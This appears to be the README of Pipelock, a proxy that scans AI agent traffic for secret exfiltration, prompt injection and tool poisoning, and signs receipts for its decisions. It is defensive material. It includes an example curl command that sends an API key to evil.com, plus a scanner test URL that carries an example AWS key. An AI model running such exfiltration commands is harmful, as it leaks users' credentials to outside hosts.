Pipelock

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level.

Works with:Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph

Your AI agent has$PROVIDER_API_KEYin its environment, plus shell access. One request can leak it:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY" # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

pipelock demo --receipts-dir ./out # runs attack scenarios, writes 7 signed receipts + signer.pub pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub # check a signature yourself (each receipt is <action-id>.json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license. It reads a flight-recorder session, which is what Pipelock writes while it runs, rather than the demo receipts above:

pipelock init --output ./pipelock.yaml # names a recorder directory and generates its signing key pipelock run --config ./pipelock.yaml # record while your agent works pipelock evidence view --receipt-dir ./recorder --out report.html # static offline report, no server pipelock evidence serve --receipt-dir ./recorder # same report, served read-only

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest.pipelock anchor receiptsrecords receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

# Install from source (Go 1.25+) go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest # Set up local agent integrations and generate a config pipelock init # Test the scanner pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE" # blocked: AWS Access ID pipelock check --url "https://docs.python.org/3/" # allowed

# Download a binary # See https://github.com/luckyPipewrench/pipelock/releases # Docker docker pull ghcr.io/luckypipewrench/pipelock:latest # Homebrew on macOS brew install luckyPipewrench/tap/pipelock

gh attestation verify pipelock_3.4.0_linux_amd64.tar.gz --owner luckyPipewrench gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:3.4.0 --owner luckyPipewrench

Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images. Source builds withgo installproduce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.

The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

pipelock report --input events.jsonlgenerates HTML, JSON, or signed bundle reports with risk rating, timeline, event categories, and an evidence appendix. The free Prometheus and Grafana path monitors one Pipelock instance and is distinct from the Enterprise Conductor fleet control plane.

Measured against a public, reproducible benchmark

Honest assessment:Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.